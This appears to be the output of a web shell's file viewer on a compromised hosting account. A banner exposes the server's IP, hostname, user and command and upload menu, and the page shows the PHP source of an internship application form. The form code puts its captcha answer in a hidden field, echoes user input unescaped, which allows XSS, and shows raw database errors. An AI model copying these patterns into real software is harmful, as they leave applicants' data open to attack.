|
Server IP : 2a02:4780:11:1596:0:cbc:26e7:10 / Your IP : 216.73.216.78 Web Server : LiteSpeed System : Linux in-mum-web1496.main-hosting.eu 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64 User : u213657319 ( 213657319) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u213657319/domains/../public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include("include/header.php");
$error = [];
$success = "";
// 2. Form Submission Logic
if (isset($_POST['intern_submit'])) {
$name = mysqli_real_escape_string($con, $_POST['name']);
$email = mysqli_real_escape_string($con, $_POST['email']);
$contact = mysqli_real_escape_string($con, $_POST['contact']);
$institute = mysqli_real_escape_string($con, $_POST['institute']);
$main_stream = mysqli_real_escape_string($con, $_POST['main_stream']);
$semester = mysqli_real_escape_string($con, $_POST['semester']);
$intern_stream = mysqli_real_escape_string($con, $_POST['intern_stream']);
$tenure = mysqli_real_escape_string($con, $_POST['tenure']);
$about = mysqli_real_escape_string($con, $_POST['about']);
// Captcha Validation
if ($_POST['captcha_res'] != $_POST['captcha_val']) {
$error['captcha'] = "Wrong Captcha! Try again.";
}
// Email & Mobile Validation
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$error['email'] = "Invalid Email format!";
}
if (!preg_match('/^[0-9]{10}+$/', $contact)) {
$error['contact'] = "Enter exactly 10 digits!";
}
// --- File Upload Logic ---
$file_name_to_db = ""; // Sirf file name store karne ke liye
if (isset($_FILES['resume']) && $_FILES['resume']['error'] == 0) {
$allowed = ['pdf'];
$filename = $_FILES['resume']['name'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['resume']['tmp_name']);
if (!in_array($ext, $allowed) || $mime != 'application/pdf') {
$error['resume'] = "Only PDF files are allowed!";
} else {
// 1. Naya Unique File Name banayein
$new_filename = time() . "_" . preg_replace("/[^a-zA-Z0-9.]/", "_", $filename);
// 2. Folder ka rasta (sirf move karne ke liye)
$target_dir = "uploads/";
if (!is_dir($target_dir)) {
mkdir($target_dir, 0777, true);
}
// 3. File ko folder mein move karein
if (move_uploaded_file($_FILES['resume']['tmp_name'], $target_dir . $new_filename)) {
// YAHAN BADLAV HAI: DB ke liye sirf file ka naam rakhein
$file_name_to_db = $new_filename;
} else {
$error['resume'] = "Failed to upload file.";
}
}
} else {
$error['resume'] = "Resume is required!";
}
// 3. Database mein Data Insert karein
if (empty($error)) {
// SQL query mein ab $file_name_to_db jayega (jisme "uploads/" nahi hai)
$sql = "INSERT INTO internship_applications
(name, email, contact, institute, main_stream, semester, intern_stream, tenure, about, resume_path, status)
VALUES ('$name', '$email', '$contact', '$institute', '$main_stream', '$semester', '$intern_stream', '$tenure', '$about', '$file_name_to_db', 'Pending')";
if (mysqli_query($con, $sql)) {
$success = "Registration Successful!";
unset($_POST);
} else {
$error['db'] = "Database Error: " . mysqli_error($con);
}
}
}
// Generate Random Captcha
$num1 = rand(1, 9);
$num2 = rand(1, 9);
$captcha_ans = $num1 + $num2;
?>
<style>
.text-danger { color: #dc3545; font-size: 0.85rem; font-weight: bold; }
.is-invalid { border: 2px solid #dc3545 !important; }
label { font-weight: 600; margin-bottom: 5px; color: #333; }
.box.form { background: #fff; border-radius: 15px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); border: 1px solid #eee; }
</style>
<section class="breadcrumbs">
<div class="container">
<div class="d-flex justify-content-between align-items-center">
<h2>Internship Registration</h2>
<ol>
<li><a href="index.php">Home</a></li>
<li>Internship</li>
</ol>
</div>
</div>
</section>
<section class="blog" data-aos="fade-up">
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-10">
<div class="p-4">
<div class="text-center mb-4">
<h2>Join Our Internship Program</h2>
<p style="text-align:center;">Fill out the details below to start your professional journey.</p>
<?php if($success): ?>
<div class="alert alert-success alert-dismissible fade show">
<strong>Success!</strong> <?php echo $success; ?>
<button type="button" class="btn-close" data-bs-dismiss="alert"></button>
</div>
<?php endif; ?>
<?php if(isset($error['db'])): ?>
<div class="alert alert-danger"><?php echo $error['db']; ?></div>
<?php endif; ?>
</div>
<div class="box form p-5 mt-2">
<form method="post" action="" enctype="multipart/form-data" id="iForm">
<div class="row">
<div class="col-md-6 mb-3">
<label>Full Name <span class="text-danger">*</span></label>
<input type="text" name="name" class="form-control" placeholder="e.g. Aman Shrivastav" value="<?php echo $_POST['name'] ?? ''; ?>" required />
</div>
<div class="col-md-6 mb-3">
<label>Email ID <span class="text-danger">*</span></label>
<input type="email" name="email" id="email" class="form-control <?php echo isset($error['email']) ? 'is-invalid' : ''; ?>"
placeholder="e.g. aman@example.com" value="<?php echo $_POST['email'] ?? ''; ?>" required />
<?php if(isset($error['email'])) echo "<span class='text-danger'>".$error['email']."</span>"; ?>
</div>
<div class="col-md-6 mb-3">
<label>Mobile No. <span class="text-danger">*</span></label>
<input type="text" name="contact" id="contact" class="form-control <?php echo isset($error['contact']) ? 'is-invalid' : ''; ?>"
placeholder="e.g. 9999999999" value="<?php echo $_POST['contact'] ?? ''; ?>" maxlength="10" required />
<?php if(isset($error['contact'])) echo "<span class='text-danger'>".$error['contact']."</span>"; ?>
</div>
<div class="col-md-6 mb-3">
<label>Institute Name <span class="text-danger">*</span></label>
<input type="text" name="institute" class="form-control" placeholder="e.g. IIT Delhi" value="<?php echo $_POST['institute'] ?? ''; ?>" required />
</div>
<div class="col-md-6 mb-3">
<label>Current Stream/Degree <span class="text-danger">*</span></label>
<input type="text" name="main_stream" class="form-control" placeholder="e.g. B.Tech (CS)" value="<?php echo $_POST['main_stream'] ?? ''; ?>" required />
</div>
<div class="col-md-6 mb-3">
<label>Current Semester <span class="text-danger">*</span></label>
<select name="semester" class="form-control" required>
<option value="">-- Choose Semester --</option>
<?php for($i=1; $i<=8; $i++) {
$sel = (isset($_POST['semester']) && $_POST['semester'] == $i) ? 'selected' : '';
echo "<option value='$i' $sel>$i Semester</option>";
} ?>
</select>
</div>
<div class="col-md-6 mb-3">
<label>Internship Domain <span class="text-danger">*</span></label>
<input type="text" name="intern_stream" class="form-control" placeholder="e.g. Web Development" value="<?php echo $_POST['intern_stream'] ?? ''; ?>" required />
</div>
<div class="col-md-6 mb-3">
<label>Duration <span class="text-danger">*</span></label>
<select name="tenure" class="form-control" required>
<option value="">-- Select Period --</option>
<option value="1 Month" <?php echo (isset($_POST['tenure']) && $_POST['tenure'] == '1 Month') ? 'selected' : ''; ?>>1 Month</option>
<option value="3 Months" <?php echo (isset($_POST['tenure']) && $_POST['tenure'] == '3 Months') ? 'selected' : ''; ?>>3 Months</option>
<option value="6 Months" <?php echo (isset($_POST['tenure']) && $_POST['tenure'] == '6 Months') ? 'selected' : ''; ?>>6 Months</option>
</select>
</div>
<div class="col-md-12 mb-3">
<label>About Your Skills <span class="text-danger">*</span></label>
<textarea name="about" class="form-control" rows="3" placeholder="Explain your skills..." required><?php echo $_POST['about'] ?? ''; ?></textarea>
</div>
<div class="col-md-6 mb-4">
<label>Resume (PDF Only) <span class="text-danger">*</span></label>
<input type="file" name="resume" class="form-control <?php echo isset($error['resume']) ? 'is-invalid' : ''; ?>" accept="application/pdf" required />
<?php if(isset($error['resume'])) echo "<span class='text-danger'>".$error['resume']."</span>"; ?>
</div>
<div class="col-md-6 mb-4">
<label>Captcha: <?php echo "$num1 + $num2 = ?"; ?> <span class="text-danger">*</span></label>
<input type="hidden" name="captcha_val" value="<?php echo $captcha_ans; ?>">
<input type="number" name="captcha_res" class="form-control <?php echo isset($error['captcha']) ? 'is-invalid' : ''; ?>" placeholder="Sum" required />
<?php if(isset($error['captcha'])) echo "<span class='text-danger'>".$error['captcha']."</span>"; ?>
</div>
<div class="col-sm-12 text-center">
<button class="btn btn-primary px-5 py-2 shadow-sm" name="intern_submit" type="submit" style="border-radius: 30px;">
Submit Application
</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</section>
<script>
document.getElementById('iForm').addEventListener('input', function(e) {
if(e.target.id === 'email') {
const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
e.target.classList.toggle('is-invalid', !regex.test(e.target.value));
}
if(e.target.id === 'contact') {
const regex = /^[0-9]{10}$/;
e.target.value = e.target.value.replace(/[^0-9]/g, '');
e.target.classList.toggle('is-invalid', e.target.value.length !== 10);
}
});
</script>
<?php include("include/footer.php"); ?>